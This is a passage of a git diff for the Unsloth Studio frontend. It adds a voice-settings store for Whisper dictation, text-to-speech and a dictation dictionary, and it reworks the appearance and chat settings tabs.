+}
+
+function getPaletteServerSnapshot(): Palette {
+  return "standard";
+}
+
+/**
+ * Single source of truth for setting the color palette; mirrors setTheme so
+ * the data-palette attribute, localStorage, and React subscribers stay in
+ * sync.
+ */
+export function setPalette(next: Palette): void {
+  if (typeof window === "undefined") return;
+  currentPalette = next;
+  try {
+    window.localStorage.setItem(PALETTE_STORAGE_KEY, STORED_PALETTE[next]);
+  } catch {
+    // ignore storage failures
+  }
+  applyPaletteToDocument(next);
+  listeners.forEach((cb) => cb());
+}
+
+export function usePalette(): {
+  palette: Palette;
+  setPalette: (next: Palette) => void;
+} {
+  const palette = useSyncExternalStore(
+    subscribe,
+    getPaletteSnapshot,
+    getPaletteServerSnapshot,
+  );
+  return { palette, setPalette };
+}
diff --git a/studio/frontend/src/features/settings/stores/voice-settings-store.ts b/studio/frontend/src/features/settings/stores/voice-settings-store.ts
new file mode 100644
index 0000000000..5f71085981
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/voice-settings-store.ts
@@ -0,0 +1,499 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { createJSONStorage, persist } from "zustand/middleware";
+
+// Voice preferences in localStorage. Adapters read them at call time so
+// changes apply without reloading the chat runtime.
+
+export interface RecentDictation {
+  id: string;
+  text: string;
+  at: number;
+  /** Chat the dictation was spoken into, when one was open at the time. */
+  chatId?: string;
+}
+
+// Dictation history is kept in full; the list view paginates. QUOTA_TRIM_KEEP is
+// the emergency floor if localStorage runs out of room (see persist wrapper).
+const QUOTA_TRIM_KEEP = 200;
+// Cap stored transcript length so a few long dictations cannot bloat the
+// persisted blob and trip a synchronous localStorage quota error on save.
+const MAX_RECENT_DICTATION_LENGTH = 2000;
+const MAX_DICTIONARY_ENTRIES = 100;
+const MAX_DICTIONARY_ENTRY_LENGTH = 120;
+
+/** Five curated Whisper choices, mirrored by the backend (stt_sidecar.py). */
+export const STT_MODELS = [
+  "tiny",
+  "base",
+  "small",
+  "large-v3-turbo",
+  "large-v3",
+] as const;
+export type DefaultSttModel = (typeof STT_MODELS)[number];
+/** A curated id or a user-selected Hugging Face `owner/model` repository. */
+export type SttModel = string;
+/** Whisper repos downloaded through Studio's existing Model Hub manager. */
+export const STT_MODEL_REPOS: Record<DefaultSttModel, string> = {
+  tiny: "unsloth/whisper-tiny",
+  base: "unsloth/whisper-base",
+  small: "unsloth/whisper-small",
+  "large-v3-turbo": "unsloth/whisper-large-v3-turbo",
+  "large-v3": "unsloth/whisper-large-v3",
+};
+export const DEFAULT_STT_MODEL: DefaultSttModel = "small";
+const HF_REPO_ID =
+  /^[A-Za-z0-9][A-Za-z0-9._-]{0,95}\/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$/;
+
+export function isSttModelId(value: string): boolean {
+  const normalized = value.trim();
+  return (
+    (STT_MODELS as readonly string[]).includes(normalized) ||
+    HF_REPO_ID.test(normalized)
+  );
+}
+
+export function normalizeSttModel(value: unknown): SttModel {
+  if (typeof value !== "string") {
+    return DEFAULT_STT_MODEL;
+  }
+  const normalized = value.trim();
+  return isSttModelId(normalized) ? normalized : DEFAULT_STT_MODEL;
+}
+
+export function getSttModelRepo(model: SttModel): string {
+  return STT_MODEL_REPOS[model as DefaultSttModel] ?? normalizeSttModel(model);
+}
+
+// All curated models are multilingual. Custom `.en` checkpoints are treated as
+// English-only so a later language change falls back safely.
+export const ENGLISH_ONLY_STT_MODELS: ReadonlySet<SttModel> = new Set([]);
+
+/** Whether a model can honor the selected dictation language. */
+export function isSttModelLanguageCompatible(
+  model: SttModel,
+  language: string,
+): boolean {
+  const isEnglishOnly =
+    ENGLISH_ONLY_STT_MODELS.has(model) ||
+    getSttModelRepo(model).toLowerCase().endsWith(".en");
+  if (!isEnglishOnly) {
+    return true;
+  }
+  const normalized = language.trim().replaceAll("_", "-").toLowerCase();
+  // Auto sends no forced language, which English-only checkpoints accept.
+  return normalized === "auto" || normalized.split("-", 1)[0] === "en";
+}
+
+export type DictationEngine = "browser" | "model";
+
+/**
+ * Whether a model id is one of the five curated Whisper choices. Curated models
+ * run GGML through whisper.cpp; custom repos are safetensors and run through
+ * Transformers.
+ */
+export function isCuratedSttModel(model: SttModel): boolean {
+  return (STT_MODELS as readonly string[]).includes(model.trim());
+}
+
+export interface VoiceSettingsState {
+  /** Input device for dictation. "default" = system default microphone. */
+  micDeviceId: string;
+  setMicDeviceId: (value: string) => void;
+
+  /**
+   * "browser": Web Speech API. "model": local transcription; the model decides
+   * the backend (whisper.cpp for curated GGML, Transformers for custom repos).
+   */
+  dictationEngine: DictationEngine;
+  setDictationEngine: (value: DictationEngine) => void;
+
+  /** STT model to use when dictationEngine is "model". */
+  sttModel: SttModel;
+  setSttModel: (value: SttModel) => void;
+
+  /** BCP 47 tag for speech recognition, or "auto" for the browser locale. */
+  dictationLanguage: string;
+  setDictationLanguage: (value: string) => void;
+
+  /** Exact spellings applied to matching transcript words and phrases. */
+  dictionary: string[];
+  addDictionaryEntry: (value: string) => void;
+  updateDictionaryEntry: (index: number, value: string) => void;
+  /** Trim the entry; drop it when it was left empty. Call on input blur. */
+  commitDictionaryEntry: (index: number) => void;
+  removeDictionaryEntry: (index: number) => void;
+
+  /** Final transcripts, newest first, so text can be recovered. */
+  recentDictations: RecentDictation[];
+  addRecentDictation: (text: string, chatId?: string) => void;
+  removeRecentDictation: (id: string) => void;
+  clearRecentDictations: () => void;
+
+  /** Show the read-aloud button on assistant responses. */
+  ttsEnabled: boolean;
+  setTtsEnabled: (value: boolean) => void;
+
+  /** "system": speechSynthesis voices. "studio": the loaded TTS audio model. */
+  ttsEngine: "system" | "studio";
+  setTtsEngine: (value: "system" | "studio") => void;
+
+  /** speechSynthesis voiceURI, or "default" for the system voice. */
+  ttsVoiceURI: string;
+  setTtsVoiceURI: (value: string) => void;
+
+  ttsRate: number;
+  setTtsRate: (value: number) => void;
+  ttsPitch: number;
+  setTtsPitch: (value: number) => void;
+  ttsVolume: number;
+  setTtsVolume: (value: number) => void;
+}
+
+/**
+ * localStorage wrapper that keeps the full dictation history until the browser's
+ * quota is hit, then drops the oldest entries instead of losing the whole save.
+ */
+const quotaSafeLocalStorage = {
+  getItem: (key: string) => localStorage.getItem(key),
+  removeItem: (key: string) => localStorage.removeItem(key),
+  setItem: (key: string, value: string) => {
+    try {
+      localStorage.setItem(key, value);
+      return;
+    } catch {
+      // Quota exceeded: trim dictation history, oldest first, and retry.
+    }
+    let parsed: { state?: { recentDictations?: RecentDictation[] } };
+    try {
+      parsed = JSON.parse(value) as typeof parsed;
+    } catch {
+      return;
+    }
+    const state = parsed.state;
+    const recents = state?.recentDictations;
+    if (!state || !Array.isArray(recents)) return;
+    // Halve the history until the save fits, down to an empty history, so even
+    // a small history shrinks when another store already consumed the quota.
+    let keep = Math.min(QUOTA_TRIM_KEEP, recents.length);
+    for (;;) {
+      keep = keep >= recents.length ? Math.floor(recents.length / 2) : keep;
+      try {
+        state.recentDictations = recents.slice(0, keep);
+        localStorage.setItem(key, JSON.stringify(parsed));
+        return;
+      } catch {
+        // Still over quota: trim harder.
+      }
+      if (keep === 0) return;
+      keep = Math.floor(keep / 2);
+    }
+  },
+};
+
+export const useVoiceSettingsStore = create<VoiceSettingsState>()(
+  persist(
+    (set) => ({
+      micDeviceId: "default",
+      setMicDeviceId: (micDeviceId) => set({ micDeviceId }),
+
+      dictationEngine: "browser",
+      setDictationEngine: (dictationEngine) => set({ dictationEngine }),
+
+      sttModel: DEFAULT_STT_MODEL,
+      setSttModel: (value) =>
+        set((state) => {
+          const sttModel = normalizeSttModel(value);
+          return {
+            sttModel: isSttModelLanguageCompatible(
+              sttModel,
+              state.dictationLanguage,
+            )
+              ? sttModel
+              : DEFAULT_STT_MODEL,
+          };
+        }),
+
+      dictationLanguage: "auto",
+      setDictationLanguage: (dictationLanguage) =>
+        set((state) => ({
+          dictationLanguage,
+          sttModel: isSttModelLanguageCompatible(
+            state.sttModel,
+            dictationLanguage,
+          )
+            ? state.sttModel
+            : DEFAULT_STT_MODEL,
+        })),
+
+      dictionary: [],
+      addDictionaryEntry: (value) =>
+        set((state) => {
+          const trimmed = value.trim().slice(0, MAX_DICTIONARY_ENTRY_LENGTH);
+          if (!trimmed) return state;
+          if (state.dictionary.length >= MAX_DICTIONARY_ENTRIES) return state;
+          if (
+            state.dictionary.some(
+              (entry) => entry.toLowerCase() === trimmed.toLowerCase(),
+            )
+          ) {
+            return state;
+          }
+          return { dictionary: [...state.dictionary, trimmed] };
+        }),
+      // Keep the raw value so the input edits freely; commitDictionaryEntry finalizes on blur.
+      updateDictionaryEntry: (index, value) =>
+        set((state) => {
+          const dictionary = [...state.dictionary];
+          if (index < 0 || index >= dictionary.length) return state;
+          dictionary[index] = value.slice(0, MAX_DICTIONARY_ENTRY_LENGTH);
+          return { dictionary };
+        }),
+      commitDictionaryEntry: (index) =>
+        set((state) => {
+          const dictionary = [...state.dictionary];
+          if (index < 0 || index >= dictionary.length) return state;
+          const trimmed = dictionary[index]?.trim() ?? "";
+          if (trimmed) {
+            dictionary[index] = trimmed;
+          } else {
+            dictionary.splice(index, 1);
+          }
+          return { dictionary };
+        }),
+      removeDictionaryEntry: (index) =>
+        set((state) => ({
+          dictionary: state.dictionary.filter((_, i) => i !== index),
+        })),
+
+      recentDictations: [],
+      addRecentDictation: (text, chatId) =>
+        set((state) => {
+          const trimmed = text.trim().slice(0, MAX_RECENT_DICTATION_LENGTH);
+          if (!trimmed) {
+            return state;
+          }
+          const at = Date.now();
+          return {
+            recentDictations: [
+              {
+                id: `${at}-${Math.random().toString(36).slice(2, 10)}`,
+                text: trimmed,
+                at,
+                ...(chatId ? { chatId } : {}),
+              },
+              ...state.recentDictations,
+            ],
+          };
+        }),
+      removeRecentDictation: (id) =>
+        set((state) => ({
+          recentDictations: state.recentDictations.filter(
+            (dictation) => dictation.id !== id,
+          ),
+        })),
+      clearRecentDictations: () => set({ recentDictations: [] }),
+
+      ttsEnabled: true,
+      setTtsEnabled: (ttsEnabled) => set({ ttsEnabled }),
+
+      ttsEngine: "system",
+      setTtsEngine: (ttsEngine) => set({ ttsEngine }),
+
+      ttsVoiceURI: "default",
+      setTtsVoiceURI: (ttsVoiceURI) => set({ ttsVoiceURI }),
+
+      ttsRate: 1,
+      setTtsRate: (ttsRate) => set({ ttsRate }),
+      ttsPitch: 1,
+      setTtsPitch: (ttsPitch) => set({ ttsPitch }),
+      ttsVolume: 1,
+      setTtsVolume: (ttsVolume) => set({ ttsVolume }),
+    }),
+    {
+      name: "unsloth_voice_settings",
+      storage: createJSONStorage(() => quotaSafeLocalStorage),
+      merge: (persisted, current) => {
+        const saved = persisted as Partial<VoiceSettingsState> | undefined;
+        const dictationLanguage = asString(saved?.dictationLanguage, "auto");
+        // "gguf" was a short-lived separate engine choice; both local
+        // backends now live under "model".
+        const savedEngine = saved?.dictationEngine as string | undefined;
+        const dictationEngine: DictationEngine =
+          savedEngine === "model" || savedEngine === "gguf"
+            ? "model"
+            : "browser";
+        const savedSttModel = normalizeSttModel(saved?.sttModel);
+        const sttModel = isSttModelLanguageCompatible(
+          savedSttModel,
+          dictationLanguage,
+        )
+          ? savedSttModel
+          : DEFAULT_STT_MODEL;
+        return {
+          ...current,
+          micDeviceId: asString(saved?.micDeviceId, "default"),
+          dictationEngine,
+          sttModel,
+          dictationLanguage,
+          dictionary: Array.isArray(saved?.dictionary)
+            ? saved.dictionary
+                .filter((v): v is string => typeof v === "string" && !!v.trim())
+                .map((v) => v.trim().slice(0, MAX_DICTIONARY_ENTRY_LENGTH))
+                .slice(0, MAX_DICTIONARY_ENTRIES)
+            : [],
+          recentDictations: normalizeRecentDictations(saved?.recentDictations),
+          ttsEnabled:
+            typeof saved?.ttsEnabled === "boolean" ? saved.ttsEnabled : true,
+          ttsEngine: saved?.ttsEngine === "studio" ? "studio" : "system",
+          ttsVoiceURI: asString(saved?.ttsVoiceURI, "default"),
+          ttsRate: clampNumber(saved?.ttsRate, 0.5, 2, 1),
+          ttsPitch: clampNumber(saved?.ttsPitch, 0, 2, 1),
+          ttsVolume: clampNumber(saved?.ttsVolume, 0, 1, 1),
+        };
+      },
+    },
+  ),
+);
+
+function asString(value: unknown, fallback: string): string {
+  return typeof value === "string" && value ? value : fallback;
+}
+
+function normalizeRecentDictations(value: unknown): RecentDictation[] {
+  if (!Array.isArray(value)) {
+    return [];
+  }
+
+  const normalized: RecentDictation[] = [];
+  for (const [index, entry] of value.entries()) {
+    if (!entry || typeof entry !== "object") {
+      continue;
+    }
+    const candidate = entry as Partial<RecentDictation>;
+    if (
+      typeof candidate.text !== "string" ||
+      !candidate.text.trim() ||
+      typeof candidate.at !== "number" ||
+      !Number.isFinite(candidate.at)
+    ) {
+      continue;
+    }
+    normalized.push({
+      id:
+        typeof candidate.id === "string" && candidate.id
+          ? candidate.id
+          : `legacy-${candidate.at}-${index}`,
+      text: candidate.text.trim().slice(0, MAX_RECENT_DICTATION_LENGTH),
+      at: candidate.at,
+      ...(typeof candidate.chatId === "string" && candidate.chatId
+        ? { chatId: candidate.chatId }
+        : {}),
+    });
+  }
+  return normalized;
+}
+
+function clampNumber(
+  value: unknown,
+  min: number,
+  max: number,
+  fallback: number,
+): number {
+  if (typeof value !== "number" || Number.isNaN(value)) return fallback;
+  return Math.min(max, Math.max(min, value));
+}
+
+/** Resolve the "auto" language setting to a concrete BCP 47 tag. */
+export function resolveDictationLanguage(setting?: string): string {
+  const value = setting ?? useVoiceSettingsStore.getState().dictationLanguage;
+  if (value && value !== "auto") return value;
+  return typeof navigator !== "undefined" && navigator.language
+    ? navigator.language
+    : "en-US";
+}
+
+// Whisper's language codes: transformers `LANGUAGES` keys plus the backend's
+// BCP-47 aliases (stt_sidecar.py `_WHISPER_LANGUAGE_ALIASES`). Keep in sync with
+// `_known_whisper_languages()`; Auto only resolves to a code in this set, so a
+// UI locale Whisper cannot honor stays on auto-detect.
+const WHISPER_DICTATION_LANGUAGES = new Set([
+  "af", "am", "ar", "as", "az", "ba", "be", "bg", "bn", "bo", "br", "bs",
+  "ca", "cmn", "cs", "cy", "da", "de", "el", "en", "es", "et", "eu", "fa",
+  "fi", "fil", "fo", "fr", "gl", "gu", "ha", "haw", "he", "hi", "hr", "ht",
+  "hu", "hy", "id", "in", "is", "it", "iw", "ja", "ji", "jw", "ka", "kk",
+  "km", "kn", "ko", "la", "lb", "ln", "lo", "lt", "lv", "mg", "mi", "mk",
+  "ml", "mn", "mr", "ms", "mt", "my", "nb", "ne", "nl", "nn", "no", "oc",
+  "pa", "pl", "ps", "pt", "ro", "ru", "sa", "sd", "si", "sk", "sl", "sn",
+  "so", "sq", "sr", "su", "sv", "sw", "ta", "te", "tg", "th", "tk", "tl",
+  "tr", "tt", "uk", "ur", "uz", "vi", "yi", "yo", "yue", "zh",
+]);
+
+/**
+ * Resolve Auto for the model STT engine (the browser engine resolves it via
+ * `resolveDictationLanguage`). Only the literal "auto" resolves to a concrete
+ * locale; an explicit or malformed setting passes through unchanged. Gated so
+ * Auto only becomes a language the model AND Whisper can honor, else it stays
+ * auto-detect rather than forcing a locale Whisper cannot handle (e.g. Irish)
+ * or 422ing every dictation.
+ */
+export function resolveModelDictationLanguage(
+  model: SttModel,
+  requested: string,
+): string {
+  if (requested !== "auto") return requested;
+  const resolved = resolveDictationLanguage(requested);
+  const primary = resolved
+    .trim()
+    .replaceAll("_", "-")
+    .toLowerCase()
+    .split("-", 1)[0];
+  return isSttModelLanguageCompatible(model, resolved) &&
+    WHISPER_DICTATION_LANGUAGES.has(primary)
+    ? resolved
+    : requested;
+}
+
+function escapeRegExp(value: string): string {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+/**
+ * Rewrite dictionary phrases in a transcript to their exact stored form,
+ * matching case-insensitively on word boundaries ("jane doe" -> "Jane Doe").
+ */
+export function applyDictationDictionary(
+  transcript: string,
+  dictionary?: string[],
+): string {
+  const entries = dictionary ?? useVoiceSettingsStore.getState().dictionary;
+  if (!transcript || entries.length === 0) return transcript;
+  let result = transcript;
+  for (const entry of entries) {
+    const trimmed = entry.trim();
+    if (!trimmed) continue;
+    // Whitespace-tolerant pattern so "jane   doe" still matches.
+    const pattern = trimmed.split(/\s+/).map(escapeRegExp).join("\\s+");
+    try {
+      // Capture the leading boundary instead of using a lookbehind, which
+      // engines that support dictation but not lookbehind (Safari < 16.4)
+      // cannot compile; the catch below would otherwise skip every entry.
+      const regex = new RegExp(
+        `(^|[^\\p{L}\\p{N}])(${pattern})(?![\\p{L}\\p{N}])`,
+        "giu",
+      );
+      // Re-emit the boundary; callback form avoids $-pattern expansion.
+      result = result.replace(regex, (_match, prefix) => `${prefix}${trimmed}`);
+    } catch {
+      // Skip entries that produce an invalid pattern.
+    }
+  }
+  return result;
+}
+
+/** Record a finished dictation so it can be recovered from settings. */
+export function recordRecentDictation(text: string, chatId?: string): void {
+  useVoiceSettingsStore.getState().addRecentDictation(text, chatId);
+}
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index ff751e3cd6..1f323a9e8d 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -158,7 +158,7 @@ export function AboutTab() {
               <code className="font-mono text-xs text-muted-foreground">
                 {gpu.name ?? "—"}
                 {gpu.vramTotalGb != null
-                  ? ` · ${Math.round(gpu.vramTotalGb)} GB`
+                  ? ` · ${Math.round(gpu.vramTotalGb)} GiB`
                   : ""}
               </code>
             </SettingsRow>
diff --git a/studio/frontend/src/features/settings/tabs/appearance-tab.tsx b/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
index af4f9959c8..1ee8c0d349 100644
--- a/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
@@ -4,13 +4,33 @@
 import { Switch } from "@/components/ui/switch";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { useT } from "@/i18n";
-import { LanguageSelect } from "../components/language-select";
+import {
+  ActiveColorControl,
+  ChatFontRow,
+  CodeFontRow,
+  CodeFontSizeRow,
+  ContrastSliderRow,
+  FontSmoothingSwitch,
+  HeadingFontRow,
+  PointerCursorsSwitch,
+  ReduceMotionSegmented,
+  ResetCustomizationButton,
+  UiFontRow,
+  UiFontSizeRow,
+} from "../components/appearance-custom-controls";
+import { PaletteCards } from "../components/palette-cards";
 import { SettingsRow } from "../components/settings-row";
-import { SettingsSection } from "../components/settings-section";
+import { SidebarMenuCustomizer } from "../components/sidebar-menu-customizer";
+import {
+  SettingsGroupDivider,
+  SettingsSection,
+} from "../components/settings-section";
 import { ThemeSegmented } from "../components/theme-segmented";
+import { useTheme } from "../stores/theme-store";
 
 export function AppearanceTab() {
   const t = useT();
+  const { resolved } = useTheme();
   const { pinned, setPinned } = useSidebarPin();
   return (
     <div className="flex flex-col gap-6">
@@ -30,25 +50,119 @@ export function AppearanceTab() {
         >
           <ThemeSegmented />
         </SettingsRow>
-      </SettingsSection>
-
-      <SettingsSection title={t("settings.appearance.language.title")}>
         <SettingsRow
-          label={t("settings.appearance.language.label")}
-          description={t("settings.appearance.language.description")}
+          label={t("settings.appearance.palette.label")}
+          description={t("settings.appearance.palette.description")}
+          className="flex-col items-stretch gap-3"
         >
-          <LanguageSelect />
+          <PaletteCards />
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.appearance.layout.title")}>
+      <SettingsSection
+        title={t(
+          resolved === "light"
+            ? "settings.appearance.custom.colors.lightGroup"
+            : "settings.appearance.custom.colors.darkGroup",
+        )}
+      >
+        <SettingsRow label={t("settings.appearance.custom.colors.accent")}>
+          <ActiveColorControl
+            colorKey="accent"
+            label={t("settings.appearance.custom.colors.accent")}
+          />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.colors.background")}>
+          <ActiveColorControl
+            colorKey="background"
+            label={t("settings.appearance.custom.colors.background")}
+          />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.colors.foreground")}>
+          <ActiveColorControl
+            colorKey="foreground"
+            label={t("settings.appearance.custom.colors.foreground")}
+          />
+        </SettingsRow>
+        <SettingsGroupDivider />
+        <SettingsRow label={t("settings.appearance.custom.uiFont.label")}>
+          <UiFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.headingFont.label")}>
+          <HeadingFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.chatFont.label")}>
+          <ChatFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.codeFont.label")}>
+          <CodeFontRow />
+        </SettingsRow>
+        <SettingsGroupDivider />
+        <SettingsRow
+          label={t("settings.appearance.custom.contrast.label")}
+          description={t("settings.appearance.custom.contrast.description")}
+        >
+          <ContrastSliderRow />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.appearance.custom.preferencesTitle")}>
+        <SettingsRow
+          label={t("settings.appearance.custom.pointerCursors.label")}
+          description={t(
+            "settings.appearance.custom.pointerCursors.description",
+          )}
+        >
+          <PointerCursorsSwitch />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.reduceMotion.label")}
+          description={t("settings.appearance.custom.reduceMotion.description")}
+        >
+          <ReduceMotionSegmented />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.uiFontSize.label")}
+          description={t("settings.appearance.custom.uiFontSize.description")}
+        >
+          <UiFontSizeRow />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.codeFontSize.label")}
+          description={t("settings.appearance.custom.codeFontSize.description")}
+        >
+          <CodeFontSizeRow />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.fontSmoothing.label")}
+          description={t(
+            "settings.appearance.custom.fontSmoothing.description",
+          )}
+        >
+          <FontSmoothingSwitch />
+        </SettingsRow>
         <SettingsRow
           label={t("settings.appearance.layout.compactSidebar")}
-          description={t("settings.appearance.layout.compactSidebarDescription")}
+          description={t(
+            "settings.appearance.layout.compactSidebarDescription",
+          )}
         >
           <Switch checked={pinned} onCheckedChange={setPinned} />
         </SettingsRow>
       </SettingsSection>
+
+      <SettingsSection
+        title={t("settings.appearance.sidebarMenu.title")}
+        description={t("settings.appearance.sidebarMenu.description")}
+      >
+        <div className="pt-3">
+          <SidebarMenuCustomizer />
+        </div>
+      </SettingsSection>
+
+      <div className="flex justify-end border-t border-border/60 pt-4">
+        <ResetCustomizationButton />
+      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/chat-tab.tsx b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
index b26b09e022..a6fcf87c57 100644
--- a/studio/frontend/src/features/settings/tabs/chat-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
@@ -1,60 +1,32 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import { Button } from "@/components/ui/button";
-import {
-  Dialog,
-  DialogContent,
-  DialogDescription,
-  DialogFooter,
-  DialogHeader,
-  DialogTitle,
-} from "@/components/ui/dialog";
-import {
-  DropdownMenu,
-  DropdownMenuContent,
-  DropdownMenuItem,
-  DropdownMenuSeparator,
-  DropdownMenuSub,
-  DropdownMenuSubContent,
-  DropdownMenuSubTrigger,
-  DropdownMenuTrigger,
-} from "@/components/ui/dropdown-menu";
 import { Switch } from "@/components/ui/switch";
 import {
-  EXPORT_FORMATS_LIST,
   type PlusMenuItemId,
-  bulkExportConversationsByScope,
-  clearAllChats,
-  countAllChats,
-  downloadChatExport,
-  importConversationsFromFile,
   useChatPreferencesStore,
   useChatRuntimeStore,
   usePlusMenuPrefsStore,
 } from "@/features/chat";
 import { useT } from "@/i18n";
-import { toast } from "@/lib/toast";
 import {
   Bookmark02Icon,
-  Delete02Icon,
   Download01Icon,
   FileDatabaseIcon,
   Folder01Icon,
   McpServerIcon,
   PencilRulerIcon,
-  Settings02Icon,
   ShieldBanIcon,
-  Upload01Icon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { Columns2Icon, PlusIcon } from "lucide-react";
-import { useEffect, useRef, useState } from "react";
+import { useEffect } from "react";
 import type { ReactNode } from "react";
-import { ArchivedChatsDialog } from "../components/archived-chats-dialog";
 import { SettingsRow } from "../components/settings-row";
-import { SettingsSection } from "../components/settings-section";
-import { useSettingsDialogStore } from "../stores/settings-dialog-store";
+import {
+  SettingsGroupDivider,
+  SettingsSection,
+} from "../components/settings-section";
 
 // Adjustable "+" menu items shown in settings, in display order. Icons mirror
 // the ones used in the composer + menu itself.
@@ -137,7 +109,7 @@ const PLUS_MENU_SETTINGS: {
   },
   {
     id: "bypassPermissions",
-    label: "Bypass permissions",
+    label: "Tool permissions",
     icon: (
       <HugeiconsIcon
         icon={ShieldBanIcon}
@@ -152,24 +124,14 @@ export function ChatTab() {
   const t = useT();
   const plusPins = usePlusMenuPrefsStore((state) => state.pins);
   const togglePlusPin = usePlusMenuPrefsStore((state) => state.togglePin);
-  const [confirmOpen, setConfirmOpen] = useState(false);
-  const [archivedOpen, setArchivedOpen] = useState(false);
-  const [count, setCount] = useState<number | null>(null);
-  const archivedChatsRequested = useSettingsDialogStore(
-    (s) => s.archivedChatsRequested,
+  const autoTitle = useChatRuntimeStore((state) => state.autoTitle);
+  const setAutoTitle = useChatRuntimeStore((state) => state.setAutoTitle);
+  const showCanvasMenuItem = useChatRuntimeStore(
+    (state) => state.showCanvasMenuItem,
   );
-  const consumeArchivedChatsRequest = useSettingsDialogStore(
-    (s) => s.consumeArchivedChatsRequest,
+  const setShowCanvasMenuItem = useChatRuntimeStore(
+    (state) => state.setShowCanvasMenuItem,
   );
-
-  // Open the archived list when the archive toast asked to jump here.
-  useEffect(() => {
-    if (!archivedChatsRequested) return;
-    setArchivedOpen(true);
-    consumeArchivedChatsRequest();
-  }, [archivedChatsRequested, consumeArchivedChatsRequest]);
-  const [exporting, setExporting] = useState(false);
-  const [clearing, setClearing] = useState(false);
   const collapseHtmlArtifacts = useChatRuntimeStore(
     (state) => state.collapseHtmlArtifacts,
   );
@@ -185,10 +147,6 @@ export function ChatTab() {
   const hydratePersistedSettings = useChatRuntimeStore(
     (state) => state.hydratePersistedSettings,
   );
-  const loadOnSelection = useChatRuntimeStore((state) => state.loadOnSelection);
-  const setLoadOnSelection = useChatRuntimeStore(
-    (state) => state.setLoadOnSelection,
-  );
   const expandQuantizations = useChatRuntimeStore(
     (state) => state.expandQuantizations,
   );
@@ -201,109 +159,23 @@ export function ChatTab() {
   const setShowAllQuantizations = useChatRuntimeStore(
     (state) => state.setShowAllQuantizations,
   );
-  const confirmDeleteChats = useChatPreferencesStore(
-    (state) => state.confirmDeleteChats,
-  );
-  const setConfirmDeleteChats = useChatPreferencesStore(
-    (state) => state.setConfirmDeleteChats,
-  );
   const showModelDisclaimer = useChatPreferencesStore(
     (state) => state.showModelDisclaimer,
   );
   const setShowModelDisclaimer = useChatPreferencesStore(
     (state) => state.setShowModelDisclaimer,
   );
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const setShowResponseModel = useChatPreferencesStore(
+    (state) => state.setShowResponseModel,
+  );
 
   useEffect(() => {
-    void countAllChats().then(setCount);
     void hydratePersistedSettings();
   }, [hydratePersistedSettings]);
 
-  const handleExport = async () => {
-    setExporting(true);
-    try {
-      await downloadChatExport();
-    } finally {
-      setExporting(false);
-    }
-  };
-
-  const importInputRef = useRef<HTMLInputElement>(null);
-  const handleImport = async (file: File) => {
-    try {
-      const imported = await importConversationsFromFile(file, null);
-      if (imported === 0) {
-        toast.info(t("settings.chat.importNoConversations"));
-      } else {
-        toast.success(
-          imported === 1
-            ? t("settings.chat.importedOneChat")
-            : t("settings.chat.importedChatCount", { count: imported }),
-        );
-        setCount(await countAllChats().catch(() => count));
-      }
-    } catch {
-      toast.error(t("settings.chat.importFailed"));
-    }
-  };
-
-  const handleClear = async () => {
-    setClearing(true);
-    try {
-      const result = await clearAllChats();
-      const clearedCount = result.deletedThreadIds.length;
-      const hasFailedStore =
-        result.backend === "failed" || result.legacy === "failed";
-      if (!hasFailedStore && result.failedThreadIds.length === 0) {
-        setCount(0);
-        setConfirmOpen(false);
-        toast.success(
-          clearedCount === 0
-            ? t("settings.chat.clearedAllChats")
-            : clearedCount === 1
-              ? t("settings.chat.clearedOneChat")
-              : t("settings.chat.clearedChatCount", { count: clearedCount }),
-        );
-        return;
-      }
-
-      const fallbackRemaining =
-        result.failedThreadIds.length > 0
-          ? result.failedThreadIds.length
-          : (count ?? 0);
-      const remaining = await countAllChats().catch(() => fallbackRemaining);
-      setCount(remaining);
-      setConfirmOpen(false);
-      toast.warning(t("settings.chat.someChatsCouldNotBeCleared"), {
-        description:
-          result.failedThreadIds.length > 0
-            ? clearedCount === 1 && result.failedThreadIds.length === 1
-              ? t("settings.chat.oneChatClearedRemainOne")
-              : clearedCount === 1
-                ? t("settings.chat.oneChatClearedRemain", {
-                    remainingCount: result.failedThreadIds.length,
-                  })
-                : result.failedThreadIds.length === 1
-                  ? t("settings.chat.chatsClearedRemainOne", { clearedCount })
-                  : t("settings.chat.chatsClearedRemain", {
-                      clearedCount,
-                      remainingCount: result.failedThreadIds.length,
-                    })
-            : remaining === 1
-              ? t("settings.chat.storageClearFailedOne")
-              : t("settings.chat.storageClearFailed", { count: remaining }),
-      });
